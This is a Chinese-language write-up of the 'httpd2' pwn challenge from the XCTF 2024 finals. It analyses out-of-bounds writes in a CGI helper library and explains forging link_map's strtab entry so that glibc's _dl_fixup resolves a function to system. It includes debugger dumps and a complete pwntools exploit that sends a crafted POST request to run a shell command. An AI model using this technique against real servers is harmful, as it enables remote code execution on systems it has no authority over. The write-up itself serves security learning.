httpd2 是 2024 年 XCTF 决赛中的一道题目。
题目附件:httpd2.zip
漏洞
题目代码量很少,总共审计出两个漏洞。
第一个漏洞出现在 libctfc.so
中的 genCookie
函数内,这是一个数组越界写入的漏洞。
char *__fastcall genCookie(const char *a1)
{
...
v4 = strlen(a1);
sub_135A(dest, 0x400uLL, a1, v4 + 1);
dest[v4] = 0; // overflow
sprintf(src, ":%lx", buf);
strncat(dest, src, 0x400uLL);
return dest;
}
在上述代码中,dest[v4] = 0;
这一行存在数组越界写入的风险。
第二个漏洞出现在 libctfc.so
中的 sub_1429
函数内,这是由于错误的条件判断导致的数组越界。但是,这个漏洞是一个废洞,因为 qword_40C0
数组后没有可以方便利用的数据结构。
__int64 sub_1429()
{
...
qword_140C0 = ++v11;//.text:0x1653
if ( v11 != 0x2000 )
{
qword_40C0[v11] = v10 + 1 + v14;
if ( !v9[1] )
break;
}
...
}
以上代码段中,由于错误的条件判断,导致 qword_40C0[v11]
可能会发生数组越界访问。
利用
利用方式:修改 link_map
来劫持函数解析的结果。
原理
link_map
是 _rtld_global
结构体的一个成员,link_map
和 _rtld_global
与 ld-linux-x86-64.so.2
的地址偏移是固定的。
根据 glibc-2.35/elf/dl-runtime.c
源码文件,动态链接器在解析函数地址首先获取 link_map
中的 strtab
地址,该字段的获取方式为 D_PTR (l, l_info[DT_STRTAB])
,将其展开后为 ((l)->l_info[5]->d_un.d_ptr + (dl_relocate_ld (l) ? 0 : (l)->l_addr))
。接着使用strtab
地址和 sym->st_name
的偏移所执行的字符串来进行解析函数。比如该字符串为 system
,则解析出来的值就是 system
函数地址。
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
...
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
...
}
如果能劫持 (l)->l_info[5]
,则可以控制 strtab
,因此可以使用第一个漏洞修改该值,使其落在我们可控的内存。
根据源码可知,(l)->l_info[5]
类型为 Elf64_Dyn
,其结构体如下:
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
因此可得(l)->l_info[5]->d_un.d_ptr
是在(l)->l_info[5]
地址的偏移上,再偏移8字节后取出的地址。
strtab劫持
我们可以根据偏移使用第一个漏洞修改 (l)->l_info[5]
地址,但是其还会根据该地址,再偏移8字节后取出对应的strtab地址,若我们修改的 (l)->l_info[5]
地址为不可读写地址,则程序会直接崩溃。
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0
RBX 0x7ffff7ffe2f0 —▸ 0x555555554000 ◂— 0x10102464c457f
RCX 0x555555557e58 (_DYNAMIC+128) ◂— 5
RDX 0x5555555543f0 ◂— 0
*RDI 0
RSI 0
R8 0xffffffff
R9 0
R10 0xffffffffffffff04
R11 0x7ffff7fdf104 (_dl_audit_preinit) ◂— endbr64
R12 0
R13 0x555555555189 (main) ◂— endbr64
R14 0
R15 0
RBP 0x7fffffffda30 ◂— 1
RSP 0x7fffffffd640 —▸ 0x7fffffffd780 ◂— 0
*RIP 0x7ffff7fd7c3d (_dl_fixup+56) ◂— add rdi, qword ptr [rcx + 8]
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x7ffff7fd7dcf <_dl_fixup+458> mov eax, 0 EAX => 0
0x7ffff7fd7dd4 <_dl_fixup+463> jmp _dl_fixup+46 <_dl_fixup+46>
↓
0x7ffff7fd7c33 <_dl_fixup+46> add rdx, rax
0x7ffff7fd7c36 <_dl_fixup+49> mov rcx, qword ptr [rbx + 0x68] RCX, [0x7ffff7ffe358] => 0x555555557e58 (_DYNAMIC+128) ◂— 5
0x7ffff7fd7c3a <_dl_fixup+53> mov rdi, rax RDI => 0
► 0x7ffff7fd7c3d <_dl_fixup+56> add rdi, qword ptr [rcx + 8] RDI => 0x5555555544e0 (0x0 + 0x5555555544e0)
0x7ffff7fd7c41 <_dl_fixup+60> mov rcx, qword ptr [rbx + 0xf8] RCX, [0x7ffff7ffe3e8] => 0x555555557ed8 (_DYNAMIC+256) ◂— 0x17
0x7ffff7fd7c48 <_dl_fixup+67> add rax, qword ptr [rcx + 8] RAX => 0x5555555546c0 (0x0 + 0x5555555546c0)
0x7ffff7fd7c4c <_dl_fixup+71> mov ebp, esi EBP => 0
0x7ffff7fd7c4e <_dl_fixup+73> lea rcx, [rbp + rbp*2] RCX => 0
0x7ffff7fd7c53 <_dl_fixup+78> lea rsi, [rax + rcx*8] RSI => 0x5555555546c0 ◂— 0x4000
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /glibc/glibc-2.35/elf/dl-runtime.c:49
44 # endif
45 struct link_map *l, ElfW(Word) reloc_arg)
46 {
47 const ElfW(Sym) *const symtab
48 = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
► 49 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
50
51 const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);
52
53 const PLTREL *const reloc
54 = (const void *) (D_PTR (l, l_info[DT_JMPREL])
如上面汇编的结果所示,<_dl_fixup+49> mov rcx, qword ptr [rbx + 0x68]
指令是取出(l)->l_info[5]
地址。<_dl_fixup+56> add rdi, qword ptr [rcx + 8]
指令则是根据该地址偏移8字节后取出对应的 strtab
地址,若取出的 rcx
为不可读写地址,则执行到 <_dl_fixup+56>
处时,程序将崩溃。
对此,我们需要伪造一个指针结构,并且该指针所指的内存用户可控。
libctfc.so:sub_1429
函数恰好满足上述要求,libctfc.so
会将 POST参数
以指针形式存入到 qword_40C0
数组中,其举例如下所示:
wget http://127.0.0.1/cgi-bin/main.cgi?a=1&b=2&c=3
-->
char *qword_40C0[0x2000]{
"a=1",
"b=2",
"c=3"
};
所以我们可以使用该逻辑来实现指针的伪造。
利用方式
根据各个库函数在内存中的布局:
我们首先攻击 libctf.so:link_map
,使得其 (l)->l_info[5]
恰好指向 qword_40C0
地址,该过程并非100%成功,需要进行爆破
随后在 qword_40C0
内存处,布置大量指针,用于提前布置伪造的 strtab
数据。
紧接着,程序在随后进行解析 getPass
的过程中,就会使用我们伪造的 strtab
数据进行函数地址解析。因此,我们可以将其修改为任意的库函数,比如 system
函数。
地址定位
知道了利用方式后,我们需要知道 _rtld_global
的地址、link_map
的地址。
_rtld_global
的地址是存在于ld-linux-x86-64.so.2
的符号表中的,因此该地址可以比较容易找到。
根据 glibc
源码可知,其第一个元素指向了程序的 link_map
,由于各个 link_map
是使用双向链表互连的,因此可以利用该程序的 link_map
寻找到所有的 link_map
。
pwndbg> p/x &_rtld_global
$1 = 0x73d7508bb040
pwndbg> tele 0x73d7508bb040
00:0000│ r15 0x73d7508bb040 (_rtld_global) —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f
01:0008│ 0x73d7508bb048 (_rtld_global+8) ◂— 6
02:0010│ 0x73d7508bb050 (_rtld_global+16) —▸ 0x73d7508bc5a0 —▸ 0x73d7508802c0 —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— ...
03:0018│ 0x73d7508bb058 (_rtld_global+24) ◂— 0
04:0020│ 0x73d7508bb060 (_rtld_global+32) —▸ 0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f
05:0028│ 0x73d7508bb068 (_rtld_global+40) ◂— 0
06:0030│ 0x73d7508bb070 (_rtld_global+48) ◂— 0
07:0038│ 0x73d7508bb078 (_rtld_global+56) ◂— 1
pwndbg> tele 0x73d7508bc2e0
00:0000│ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f
01:0008│ 0x73d7508bc2e8 —▸ 0x73d7508bc888 ◂— 0
02:0010│ 0x73d7508bc2f0 —▸ 0x5e33d11b9d80 (_DYNAMIC) ◂— 1
03:0018│ 0x73d7508bc2f8 —▸ 0x73d7508bc890 —▸ 0x7ffe685e2000 ◂— jg 0x7ffe685e2047
04:0020│ 0x73d7508bc300 ◂— 0
05:0028│ 0x73d7508bc308 —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f
06:0030│ 0x73d7508bc310 ◂— 0
07:0038│ 0x73d7508bc318 —▸ 0x73d7508bc870 —▸ 0x73d7508bc888 ◂— 0
其中[link_map+0x18]
为link_map.l_prev
,即指向上一个link_map
。其中[link_map+0x20]
为link_map.l_next
,即指向下一个link_map
。其中[link_map+0x8]
为link_map.l_name
,即指向该库的文件名,比如libc.so.6
。
pwndbg> tele 0x73d75087fca0
00:0000│ 0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f
01:0008│ 0x73d75087fca8 —▸ 0x73d75087fc90 ◂— './libc.so.6'
02:0010│ 0x73d75087fcb0 —▸ 0x73d750735bc0 ◂— 1
03:0018│ 0x73d75087fcb8 —▸ 0x73d7508bbaf0 (_rtld_global+2736) —▸ 0x73d750881000 ◂— 0x3010102464c457f
04:0020│ 0x73d75087fcc0 —▸ 0x73d75087f740 —▸ 0x73d750745000 ◂— 0x10102464c457f
05:0028│ 0x73d75087fcc8 —▸ 0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f
06:0030│ 0x73d75087fcd0 ◂— 0
07:0038│ 0x73d75087fcd8 —▸ 0x73d750880130 —▸ 0x73d750880148 ◂— 'libc.so.6'
其中[link_map+0x0]
为link_map.l_addr
,即指向库或者程序的基地址,通常可以利用该值来判断我们寻找的link_map
是否正确。
其中[link_map+0x68]
为(l)->l_info[5]
,即我们要劫持的位置。
利用脚本
0x125f4a
为 dest
到 libctfc.so:(link_map)->l_info[5]
的偏移,我们修改的是该地址的第2个字节,以此来爆破该地址,使其落在 qword_40C0
内存上。由于 libctfc.so:(link_map)->l_info[5]
的低12位为0xea0
,因此伪造的 strtab
应放在该地址的8字节偏移处。根据 libctf.so
的elf信息,其getPass
的sym
的st_name
为0x6a
,所以其偏移的 0x6a
位置就是要解析的函数字符串,这里我们将其设置为 system
函数。其中0x0c0
为 qword_40C0
的低12位。
0x125f4a
偏移会随着系统的改变而改变,所以该脚本可能并不适用于其他系统,不同系统需要通过调试结果来修正该值。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
from urllib.parse import quote
context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('127.0.0.1', 80)
payload = b'passwd=' + b'a'*0x125f4a + b'&username=' + quote(b'touch /tmp/hacker').encode()
for i in range(2,0x2000):
if ((0x0c0 + i * 8) & 0xfff) == 0xea0 + 8:
payload += b'&b=' + cyclic(0x6a-2) + b'system'
else:
payload += b'&c=' + str(i).encode()
content_length = len(payload)
request = \
b"POST /cgi-bin/main.cgi HTTP/1.1\r\n" +\
b"Host: 127.0.0.1\r\n" +\
f"Content-Length: {content_length}\r\n".encode() +\
b"Content-Type: application/octet-stream\r\n" +\
b'\r\n' +\
payload
sh.send(request)
sh.interactive()